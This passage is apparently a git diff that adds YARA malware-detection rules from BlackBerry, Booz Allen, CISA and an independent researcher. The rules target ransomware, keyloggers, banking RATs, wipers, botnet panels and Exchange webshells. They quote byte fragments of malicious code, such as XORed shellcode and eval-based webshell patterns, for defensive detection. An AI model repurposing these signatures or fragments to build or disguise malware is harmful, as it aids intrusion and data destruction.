+        $g10 = { 78 00 36 00 34 } // x.6.4
+        $g11 = { 41 00 64 00 6D 00 69 00 6E } // A.d.m.i.n
+        $g12 = { 56 00 69 00 73 00 74 00 61 } // V.i.s.t.a
+        $g13 = { 64 00 6E 00 73 } // d.n.s
+        $g14 = { 64 00 7A 00 6B 00 61 00 62 72 } // d.z.k.a.b.r
+        $g15 = { 78 00 7A 00 6B 00 61 00 62 00 73 00 72 } // x.z.k.a.b.s.r
+        $g16 = { 64 00 7A 00 6B 00 61 00 62 00 73 00 72 } // d.z.k.a.b.s.r
+
+        // Version Strings
+        $h1 = { 4F 00 43 00 2D } // O.C.-
+        $h2 = { 4E 00 56 00 2D } // N.V.-
+        $h3 = { 53 00 50 00 2D } // S.P.-
+        $h4 = { 49 00 4E 00 2D } // I.N.-
+
+        $i = "System.Net"
+
+    condition:
+        10 of ($g*) and
+        1 of ($h*) and
+        (pe.imports("mscoree.dll", "_CorDllMain") or $i) // DotNet
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Win32_ChaosRansomware_2022.yar b/yara-mikesxrs/Blackberry/Mal_Win32_ChaosRansomware_2022.yar
new file mode 100644
index 0000000..32bcf93
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Win32_ChaosRansomware_2022.yar
@@ -0,0 +1,47 @@
+import "pe"    
+
+    rule Mal_Win32_ChaosRansomware_2022
+{            
+    meta:
+    description = "Detects Ransomware Built by Chaos Ransomware Builder"
+    reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree"
+    author = "BlackBerry Threat Research"
+    date = "2022-05-10"
+    license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+    strings:
+        //Ransom References
+        $x1 = "Encrypt" ascii wide
+        $x2 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" ascii wide
+        $x3 = "read" ascii wide        
+
+        //Ransom Hex
+        $r1 = { 20 76 69 72 75 73 }
+        $r2 = { 72 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 }
+
+        //Shadow Copy Delete
+        $z0 = "deleteShadowCopies" ascii wide
+        $z1 = "shadowcopy" ascii wide
+
+      condition:
+
+        //PE File
+        uint16(0) == 0x5a4d and
+
+        // Must be less than
+        filesize < 35KB and
+
+        // Must have exact import hash
+        pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744" and
+
+        //Number of sections
+        pe.number_of_sections == 3 and
+
+        //These Strings
+        ((all of ($x*)) and (1 of ($r*)) and (1 of ($z*)))
+
+ 
+
+}
+
+
diff --git a/yara-mikesxrs/Blackberry/Mal_Win32_Chaos_Builder_Ransomware_2022.yar b/yara-mikesxrs/Blackberry/Mal_Win32_Chaos_Builder_Ransomware_2022.yar
new file mode 100644
index 0000000..1741a80
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Win32_Chaos_Builder_Ransomware_2022.yar
@@ -0,0 +1,44 @@
+
+import "pe"    
+
+    rule Mal_Win32_Chaos_Builder_Ransomware_2022
+{           
+    meta:
+    description = "Detects Chaos Ransomware Builder"
+    reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree"
+    author = "BlackBerry Threat Research"
+    date = "2022-05-10"
+    license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+            strings:
+
+                        $s0 = "1qw0ll8p9m8uezhqhyd" ascii wide
+
+                        $s1 = "Chaos Ransomware Builder" ascii wide
+
+                        $s2 = "payloadFutureName" ascii wide
+
+                        $s3 = "read_it.txt" ascii wide
+
+                        $s4 = "encryptedFileExtension" ascii wide
+
+ 
+
+                        $x0 = "1098576" ascii wide
+
+                        $x1 = "2197152" ascii wide
+
+            condition:
+
+//PE File
+
+                        uint16(0) == 0x5a4d and
+
+ 
+
+                        //All strings
+
+                        ((all of ($s*)) and (1 of ($x*)))
+
+
+}
diff --git a/yara-mikesxrs/Blackberry/Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022.yar b/yara-mikesxrs/Blackberry/Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022.yar
new file mode 100644
index 0000000..d18bf22
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022.yar
@@ -0,0 +1,29 @@
+import "pe"    
+
+    rule Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022
+{           
+    meta:
+    description = "Detects Onyx Ransomware build off of Chaos Builder v4"
+    reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree"
+    author = "BlackBerry Threat Research"
+    date = "2022-05-10"
+    license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+            strings:
+            $s1 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" wide
+            $s2 = "All of your files are currently encrypted by ONYX strain." wide
+            $s3 = "Inform your supervisors and stay calm!" wide
+
+            condition:
+
+            //PE File
+            uint16(0) == 0x5a4d and
+
+            //Directories
+            pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].size != 0 and
+
+            //All strings
+            all of ($s*)
+
+}
+
diff --git a/yara-mikesxrs/Blackberry/Snake.yar b/yara-mikesxrs/Blackberry/Snake.yar
new file mode 100644
index 0000000..19f849e
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Snake.yar
@@ -0,0 +1,19 @@
+rule Snake{
+
+      meta:
+            description = "Detects Snake"
+            reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger"
+            author = "BlackBerry Threat Research Team"
+            date = "2022-06-03-"
+            license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+      strings:
+            $s1 = "Game1Screen_Form_Load"
+            $s2 = "get_KeyCode"
+            $s3 = "Good luck mate"
+ 
+
+      condition:
+            filesize < 1000KB and all of them
+
+}
diff --git a/yara-mikesxrs/Blackberry/Windealer_Library.yar b/yara-mikesxrs/Blackberry/Windealer_Library.yar
new file mode 100644
index 0000000..a7c4c1c
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Windealer_Library.yar
@@ -0,0 +1,26 @@
+rule Windealer_Library{
+      meta:
+            description = "Detects WinDealer Loaded DLL"
+            reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ"
+            author = "BlackBerry Threat Research Team"
+            date = "2022-06-14"
+            license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+
+      strings:
+            $s1 = "C:\\Users\\Public\\Documents\\Tencent\\QQ\\UserDataInfo.ini"
+            $s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
+            $s3 = "SOFTWARE\\SogouInput\\red"
+            $s4 = "SOFTWARE\\SogouDesktopBar"
+            $s5 = "MozillaDll.dll"
+            $s6 = "Tencent Files"
+            $s7 = "wangwang"
+            $s8 = "WeChat Files"
+            $s9 = "MyDocument"
+            $s10 = "Skype"
+            $e1 = "AutoGetSystemInfo"
+            $e2 = "GetConfigInfo"
+            $e3 = "partInitOpt"
+      condition:
+            uint16(0) == 0x5a4d and all of them
+}
diff --git a/yara-mikesxrs/Blackberry/Windealer_executable.yar b/yara-mikesxrs/Blackberry/Windealer_executable.yar
new file mode 100644
index 0000000..68ae2a3
--- /dev/null
+++ b/yara-mikesxrs/Blackberry/Windealer_executable.yar
@@ -0,0 +1,23 @@
+rule Windealer_executable{
+      meta:
+            description = "Detects WinDealer Executable"
+            reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ"
+            author = "BlackBerry Threat Research Team"
+            date = "2022-06-14"
+            license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
+
+
+      strings:
+            $s1 = "28e4-20a6acec"
+            $s2 = "5a7e-42ccdb67"
+            $s3 = "632c-0ef22957"
+            $s4 = "63ae-a20cf808"
+            $s5 = "65ce-731bffbb"
+            $a1 = "remoteip"
+            $a2 = "sessionid"
+            $a3 = "remotedomain"
+            $a4 = "remark"
+
+      condition:
+            uint16(0) == 0x5a4d and 2 of ($s*) and 1 of ($a*)
+}
diff --git a/yara-mikesxrs/Booz Allen Hamilton/Double_Pulsar_Petya.yar b/yara-mikesxrs/Booz Allen Hamilton/Double_Pulsar_Petya.yar
new file mode 100644
index 0000000..db15bf7
--- /dev/null
+++ b/yara-mikesxrs/Booz Allen Hamilton/Double_Pulsar_Petya.yar	
@@ -0,0 +1,33 @@
+rule DoublePulsarXor_Petya
+{
+ meta:
+   description = "Rule to hit on the XORed DoublePulsar shellcode"
+   author = "Patrick Jones"
+   company = "Booz Allen Hamilton"
+   reference1 ="https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html"
+   reference2 = "https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf"
+   date = "2017-06-28"
+   hash = "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"
+   hash = "64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1"
+ strings:
+   $DoublePulsarXor_Petya = { FD 0C 8C 5C B8 C4 24 C5 CC CC CC 0E E8 CC 24 6B CC CC CC 0F 24 CD CC CC CC 27 5C 97 75 BA CD CC CC C3 FE }
+ condition:
+   $DoublePulsarXor_Petya
+}
+
+rule DoublePulsarDllInjection_Petya
+{
+ meta:
+  description = "Rule to hit on the XORed DoublePulsar DLL injection shellcode"
+  author = "Patrick Jones"
+  company = "Booz Allen Hamilton"
+  reference1 ="https://www.boozallen.com/s/insight/publication/the-petya-ransomware-outbreak.html"
+  reference2 = "https://www.boozallen.com/content/dam/boozallen_site/sig/pdf/white-paper/rollup-of-booz-allen-petya-research.pdf"
+  date = "2017-06-28"
+  hash = "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"
+  hash = "64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1"
+ strings:
+   $DoublePulsarDllInjection_Petya = { 45 20 8D 93 8D 92 8D 91 8D 90 92 93 91 97 0F 9F 9E 9D 99 84 45 29 84 4D 20 CC CD CC CC 9B 84 45 03 84 45 14 84 45 49 CC 33 33 33 24 77 CC CC CC 84 45 49 C4 33 33 33 24 84 CD CC CC 84 45 49 DC 33 33 33 84 47 49 CC 33 33 33 84 47 41 }
+ condition:
+   $DoublePulsarDllInjection_Petya
+} 
diff --git a/yara-mikesxrs/Booz Allen Hamilton/PolishBankRAT.yar b/yara-mikesxrs/Booz Allen Hamilton/PolishBankRAT.yar
new file mode 100644
index 0000000..1f3118f
--- /dev/null
+++ b/yara-mikesxrs/Booz Allen Hamilton/PolishBankRAT.yar	
@@ -0,0 +1,57 @@
+rule PolishBankRAT_srservice_xorloop {
+meta:
+	author = "Booz Allen Hamilton Dark Labs"
+	description = "Finds the custom xor decode loop for <PolishBankRAT-srservice>"
+    reference = "https://blog.cyber4sight.com/2017/02/technical-analysis-watering-hole-attacks-against-financial-institutions/"
+strings:
+	$loop = { 48 8B CD E8 60 FF FF FF 48 FF C3 32 44 1E FF 48 FF CF 88 43 FF }
+condition:
+	(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $loop
+}
+
+rule PolishBankRAT_fdsvc_xor_loop {
+meta:
+	author = "Booz Allen Hamilton Dark Labs"
+	description = "Finds the custom xor decode loop for <PolishBankRAT-fdsvc>"
+    reference = "https://blog.cyber4sight.com/2017/02/technical-analysis-watering-hole-attacks-against-financial-institutions/"
+strings:
+	$loop = {0F B6 42 FF 48 8D 52 FF 30 42 01 FF CF 75 F1}
+condition:
+	(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $loop
+}
+
+rule PolishBankRAT_fdsvc_decode2 {
+meta:
+	author = "Booz Allen Hamilton Dark Labs"
+	description = "Find a constant used as part of a payload decoding function in PolishBankRAT-fdsvc"
+    reference = "https://blog.cyber4sight.com/2017/02/technical-analysis-watering-hole-attacks-against-financial-institutions/"
+strings:
+	$part1 = {A6 EB 96}
+	$part2 = {61 B2 E2 EF}
+	$part3 = {0D CB E8 C4}
+	$part4 = {5A F1 66 9C}
+	$part5 = {A4 80 CD 9A}
+	$part6 = {F1 2F 46 25}
+	$part7 = {2F DB 16 26}
+	$part8 = {4B C4 3F 3C}
+	$str1 = "This program cannot be run in DOS mode"
+condition:
+	(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+
+rule decoded_PolishBankRAT_fdsvc_strings {
+meta:
+	author = "Booz Allen Hamilton Dark Labs"
+	description = "Finds hard coded strings in PolishBankRAT-fdsvc"
+    reference = "https://blog.cyber4sight.com/2017/02/technical-analysis-watering-hole-attacks-against-financial-institutions/"
+strings:
+	$str1 = "ssylka" wide ascii
+	$str2 = "ustanavlivat" wide ascii
+	$str3 = "poluchit" wide ascii
+	$str4 = "pereslat" wide ascii
+	$str5 = "derzhat" wide ascii
+	$str6 = "vykhodit" wide ascii
+	$str7 = "Nachalo" wide ascii
+condition:
+	(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 4 of ($str*)
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/archives_w_chinapic.yar b/yara-mikesxrs/Brian Carter -carterb/archives_w_chinapic.yar
new file mode 100644
index 0000000..77b4084
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/archives_w_chinapic.yar	
@@ -0,0 +1,18 @@
+rule chinapic_zip
+
+{
+
+    meta:
+        description = "Find zip archives of pony panels that have china.jpg"
+        author = "Brian Carter"
+        last_modified = "March 31, 2017"
+        
+    strings:
+        $txt1 = "china.jpg"
+        $txt2 = "config.php"
+        $magic = { 50 4b 03 04 }
+        
+    condition:
+        $magic at 0 and all of ($txt*)
+        
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/demuzacert.yar b/yara-mikesxrs/Brian Carter -carterb/demuzacert.yar
new file mode 100644
index 0000000..4f67618
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/demuzacert.yar	
@@ -0,0 +1,20 @@
+rule PotentiallyCompromisedCert
+
+{
+    meta:
+        description = "Search for PE files using cert issued to DEMUZA "
+        author = "Brian Carter"
+        last_modified = "July 21, 2017"
+        sample = "7ef8f5e0ca92a0f3a5bd8cdc52236564"
+        TLP = "WHITE"
+
+    strings:
+        $magic = { 50 4b 03 04 (14 | 0a) 00 }
+
+        $txt1 = "demuza@yandex.ru" nocase
+        $txt2 = "https://secure.comodo.net/CPS0C" nocase
+        $txt3 = "COMODO CA Limited1"
+
+    condition:
+       $magic at 0 and all of ($txt*)
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/injector_panel_sqlite.yar b/yara-mikesxrs/Brian Carter -carterb/injector_panel_sqlite.yar
new file mode 100644
index 0000000..3cbfe55
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/injector_panel_sqlite.yar	
@@ -0,0 +1,21 @@
+rule INJECTOR_PANEL_SQLITE
+
+{
+    meta:
+        description = "Find sqlite dbs used with tables inject panel"
+        author = "Brian Carter"
+        last_modified = "August 14, 2017"
+
+    strings:
+        $magic = { 53 51 4C 69 74 65 20 66 6F 72 6D 61 74 20 33 00 }
+        $txt1 = "CREATE TABLE Settings"
+        $txt2 = "CREATE TABLE Jabber"
+        $txt3 = "CREATE TABLE Users"
+        $txt4 = "CREATE TABLE Log"
+        $txt5 = "CREATE TABLE Fakes"
+        $txt6 = "CREATE TABLE ATS_links"
+
+    condition:
+        $magic at 0 and all of ($txt*)
+
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/mal_pdf.yar b/yara-mikesxrs/Brian Carter -carterb/mal_pdf.yar
new file mode 100644
index 0000000..ed82015
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/mal_pdf.yar	
@@ -0,0 +1,19 @@
+rule PDF_EMBEDDED_DOCM
+
+{
+    meta:
+        description = "Find pdf files that have an embedded docm with openaction"
+        author = "Brian Carter"
+        last_modified = "May 11, 2017"
+
+    strings:
+        $magic = { 25 50 44 46 2d }
+
+        $txt1 = "EmbeddedFile"
+        $txt2 = "docm)"
+        $txt3 = "JavaScript" nocase
+
+    condition:
+        $magic at 0 and all of ($txt*)
+
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/panelzips.yar b/yara-mikesxrs/Brian Carter -carterb/panelzips.yar
new file mode 100644
index 0000000..42da6a9
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/panelzips.yar	
@@ -0,0 +1,128 @@
+rule chinapic_zip
+
+{
+
+    meta:
+        description = "Find zip archives of pony panels that have china.jpg"
+        author = "Brian Carter"
+        last_modified = "March 31, 2017"
+        
+    strings:
+        $txt1 = "china.jpg"
+        $txt2 = "config.php"
+        $txt3 = "setup.php"
+        $magic = { 50 4b 03 04 }
+        
+    condition:
+        $magic at 0 and all of ($txt*)
+        
+}
+
+rule diamondfox_zip
+
+{
+
+    meta:
+        description = "Find zip archives of panels"
+        author = "Brian Carter"
+        last_modified = "March 31, 2017"
+        
+    strings:
+        $txt1 = "gate.php"
+        $txt2 = "install.php"
+        $txt3 = "post.php"
+        $txt4 = "plugins"
+        $txt5 = "statistics.php"
+        $magic = { 50 4b 03 04 }
+        $not1 = "joomla" nocase
+        
+    condition:
+        $magic at 0 and all of ($txt*) and not any of ($not*)
+        
+}
+
+rule keybase_zip
+
+{
+
+    meta:
+        description = "Find zip archives of panels"
+        author = "Brian Carter"
+        last_modified = "March 31, 2017"
+        
+    strings:
+        $txt1 = "clipboard.php"
+        $txt2 = "config.php"
+        $txt3 = "create.php"
+        $txt4 = "login.php"
+        $txt5 = "screenshots.php"
+        $magic = { 50 4b 03 04 }
+        
+    condition:
+        $magic at 0 and all of ($txt*)
+        
+}
+
+rule zeus_zip
+
+{
+
+    meta:
+        description = "Find zip archives of panels"
+        author = "Brian Carter"
+        last_modified = "April 19, 2017"
+        
+    strings:
+        $txt1 = "cp.php"
+        $txt2 = "gate.php"
+        $txt3 = "botnet_bots.php"
+        $txt4 = "botnet_scripts.php"
+        $magic = { 50 4b 03 04 }
+        
+    condition:
+        $magic at 0 and all of ($txt*)
+        
+}
+
+rule atmos_zip
+
+{
+
+    meta:
+        description = "Find zip archives of panels"
+        author = "Brian Carter"
+        last_modified = "April 27, 2017"
+        
+    strings:
+        $txt1 = "cp.php"
+        $txt2 = "gate.php"
+        $txt3 = "api.php"
+        $txt4 = "file.php"
+        $txt5 = "ts.php"
+        $txt6 = "index.php"
+        $magic = { 50 4b 03 04 }
+        
+    condition:
+        $magic at 0 and all of ($txt*)
+        
+}
+
+rule new_pony_panel
+
+{
+
+    meta:
+        description = "New Pony Zips"
+        
+    strings:
+        $txt1 = "includes/design/images/"
+        $txt2 = "includes/design/style.css"
+        $txt3 = "admin.php"
+        $txt4 = "includes/design/images/user.png"
+        $txt5 = "includes/design/images/main_bg.gif"
+        $magic = { 50 4b 03 04 }
+        
+    condition:
+        $magic at 0 and all of ($txt*)
+        
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/pony_config.yar b/yara-mikesxrs/Brian Carter -carterb/pony_config.yar
new file mode 100644
index 0000000..b1fb013
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/pony_config.yar	
@@ -0,0 +1,21 @@
+rule config_php
+
+{
+    meta:
+        description = "Find config.php files that have details for the db"
+        author = "Brian Carter"
+        last_modified = "March 31, 2017"
+        
+    strings:
+        $txt1 = "$mysql_host ="
+        $txt2 = "$mysql_user ="
+        $txt3 = "mysql_pass ="
+        $txt4 = "mysql_database ="
+        $txt5 = "global_filter_list"
+        $txt6 = "white-list"
+        $php1 = "<?php"
+        
+    condition:
+        $php1 at 0 and all of ($txt*)
+        
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/tables_inject_panel.yar b/yara-mikesxrs/Brian Carter -carterb/tables_inject_panel.yar
new file mode 100644
index 0000000..b532e87
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/tables_inject_panel.yar	
@@ -0,0 +1,21 @@
+rule tables_inject
+
+{
+
+    meta:
+        description = "Find zip archives of tables inject panel"
+        author = "Brian Carter"
+        last_modified = "August 14, 2017"
+        
+    strings:
+        $txt1 = "tinymce"
+        $txt2 = "cunion.js"
+        $txt3 = "tables.php"
+        $txt4 = "sounds/1.mp3"
+        $txt5 = "storage/db.sqlite"
+        $magic = { 50 4b 03 04 }
+        
+    condition:
+        $magic at 0 and all of ($txt*)
+        
+}
diff --git a/yara-mikesxrs/Brian Carter -carterb/vt_pony_post2gate.yar b/yara-mikesxrs/Brian Carter -carterb/vt_pony_post2gate.yar
new file mode 100644
index 0000000..bf44528
--- /dev/null
+++ b/yara-mikesxrs/Brian Carter -carterb/vt_pony_post2gate.yar	
@@ -0,0 +1,14 @@
+rule Pony_gate_php_POST
+{
+    meta:
+        description = "Possible Pony Sample POST to gate php"
+        author = "Brian Carter"
+        last_modified = "June 14, 2016"
+        
+    condition:
+        cuckoo.network.http_post(/gate\.php/)
+        and file_type contains "pe"
+        and positives > 5
+        and new_file
+        
+}
diff --git a/yara-mikesxrs/CISA/CADDYWIPER.yar b/yara-mikesxrs/CISA/CADDYWIPER.yar
new file mode 100644
index 0000000..7975b99
--- /dev/null
+++ b/yara-mikesxrs/CISA/CADDYWIPER.yar
@@ -0,0 +1,27 @@
+rule CISA_10376640_04 : trojan wiper CADDYWIPER
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10376640"
+       Date = "2022-03-23"
+       Last_Modified = "20220324_1700"
+       Actor = "n/a"
+       Category = "Trojan Wiper"
+       Family = "CADDYWIPER"
+       Description = "Detects Caddy wiper samples"
+       Reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-115c"
+       MD5_1 = "42e52b8daf63e6e26c3aa91e7e971492"
+       SHA256_1 = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
+   strings:
+       $s0 = { 44 73 52 6F 6C 65 47 65 74 50 72 69 6D 61 72 79 44 6F 6D 61 69 6E }
+       $s1 = { 50 C6 45 A1 00 C6 45 A2 48 C6 45 A3 00 C6 45 A4 59 C6 }
+       $s2 = { C6 45 A6 53 C6 45 A7 00 C6 45 A8 49 C6 }
+       $s3 = { C6 45 B0 44 C6 45 B1 00 C6 45 B2 52 }
+       $s4 = { C6 45 B8 45 C6 45 B9 00 C6 45 BA 39 }
+       $s5 = { C6 45 AC 43 C6 45 AD 3A C6 45 AE 5C C6 45 AF }
+       $s6 = { 55 C6 45 B0 73 C6 45 B1 65 C6 45 B2 72 C6 45 B3 }
+       $s7 = { C6 45 E0 44 C6 45 E1 3A C6 45 E2 5C C6 45 E3 }
+       $s8 = { 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F }
+   condition:
+       all of them
+}
diff --git a/yara-mikesxrs/CISA/HAFIUM_webshell_CVE_2021_27065.yar b/yara-mikesxrs/CISA/HAFIUM_webshell_CVE_2021_27065.yar
new file mode 100644
index 0000000..0849b4b
--- /dev/null
+++ b/yara-mikesxrs/CISA/HAFIUM_webshell_CVE_2021_27065.yar
@@ -0,0 +1,23 @@
+rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10328929"
+       Date = "2021-03-17"
+       Last_Modified = "20210317_2200"
+       Actor = "n/a"
+       Category = "Trojan WebShell Exploit CVE-2021-27065"
+       Family = "HAFNIUM"
+       Description = "Detects CVE-2021-27065 Webshellz"
+       Reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar21-084b"
+       MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
+       SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
+   strings:
+       $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
+       $s1 = { 65 76 61 6C 28 }
+       $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
+       $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
+       $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
+   condition:
+       $s0 or ($s1 and $s2) or ($s3 and $s4)
+}
diff --git a/yara-mikesxrs/CISA/HAFNIUM_CVE_2021_27065_Exchange_OAB_VD_MOD.yar b/yara-mikesxrs/CISA/HAFNIUM_CVE_2021_27065_Exchange_OAB_VD_MOD.yar
new file mode 100644
index 0000000..9e3c7a6
--- /dev/null
+++ b/yara-mikesxrs/CISA/HAFNIUM_CVE_2021_27065_Exchange_OAB_VD_MOD.yar
@@ -0,0 +1,21 @@
+rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10328929"
+       Date = "2021-03-17"
+       Last_Modified = "20210317_2200"
+       Actor = "n/a"
+       Category = "Trojan WebShell Exploit CVE-2021-27065"
+       Family = "HAFNIUM"
+       Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
+       Reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar21-084b"
+       MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
+       SHA256_1 = "c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5"
+   strings:
+       $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
+       $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
+       $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
+   condition:
+       $s0 and $s1 and $s2
+}
diff --git a/yara-mikesxrs/CISA/HERMETICWIZARD.yar b/yara-mikesxrs/CISA/HERMETICWIZARD.yar
new file mode 100644
index 0000000..9648940
--- /dev/null
+++ b/yara-mikesxrs/CISA/HERMETICWIZARD.yar
@@ -0,0 +1,34 @@
+rule CISA_10376640_02 : trojan wiper worm HERMETICWIZARD
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10376640"
+       Date = "2022-03-12"
+       Last_Modified = "20220413_1300"
+       Actor = "n/a"
+       Category = "Trojan Wiper Worm"
+       Family = "HERMETICWIZARD"
+       Description = "Detects Hermetic Wizard samples"
+       Reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-115b"
+       MD5_1 = "0959bf541d52b6e2915420442bf44ce8"
+       SHA256_1 = "5a300f72e221a228e3a36a043bef878b570529a7abc15559513ea07ae280bb48"
+   strings:
+       $s0 = { 70 00 69 00 70 00 65 00 5C 00 25 00 73 }
+       $s1 = { 6E 00 6D 00 61 00 6E 00 73 00 65 00 72 00 76 }
+       $s2 = { 73 61 6D 72 }
+       $s3 = { 62 72 6F 77 73 65 72 }
+       $s4 = { 6E 65 74 6C 6F 67 6F 6E }
+       $s5 = { 6C 73 61 72 70 63 }
+       $s6 = { 6E 74 73 76 63 73 }
+       $s7 = { 73 76 63 63 74 6C }
+       $s8 = { 73 74 61 72 74 20 63 6D 64 20 2F 63 20 22 70 69 6E 67 20 6C 6F 63 61 6C 68 6F 73 74 }
+       $s9 = { 67 00 75 00 65 00 73 00 74 }
+       $s10 = { 74 00 65 00 73 00 74 }
+       $s11 = { 75 00 73 00 65 00 72 }
+       $s12 = { 61 00 64 00 6D 00 69 00 6E 00 69 00 73 00 74 00 72 00 61 00 74 00 6F }
+       $s13 = { 51 00 61 00 7A 00 31 00 32 00 33 }
+       $s14 = { 51 00 77 00 65 00 72 00 74 00 79 00 31 00 32 }
+       $s15 = { 63 6D 64 20 2F 63 20 73 74 61 72 74 20 72 65 67 }
+   condition:
+       all of them
+}
diff --git a/yara-mikesxrs/CISA/HERMETICWIZARD_WORM.yar b/yara-mikesxrs/CISA/HERMETICWIZARD_WORM.yar
new file mode 100644
index 0000000..734e854
--- /dev/null
+++ b/yara-mikesxrs/CISA/HERMETICWIZARD_WORM.yar
@@ -0,0 +1,24 @@
+rule CISA_10376640_03 : trojan wiper worm HERMETICWIZARD
+{
+   meta:
+       Author = "CISA Code & Media Analysis"
+       Incident = "10376640"
+       Date = "2022-03-13"
+       Last_Modified = "20220413_1300"
+       Actor = "n/a"
+       Category = "Trojan Wiper Worm"
+       Family = "HERMETICWIZARD"
+       Description = "Detects Hermetic Wizard samples"
+       Reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-115b"
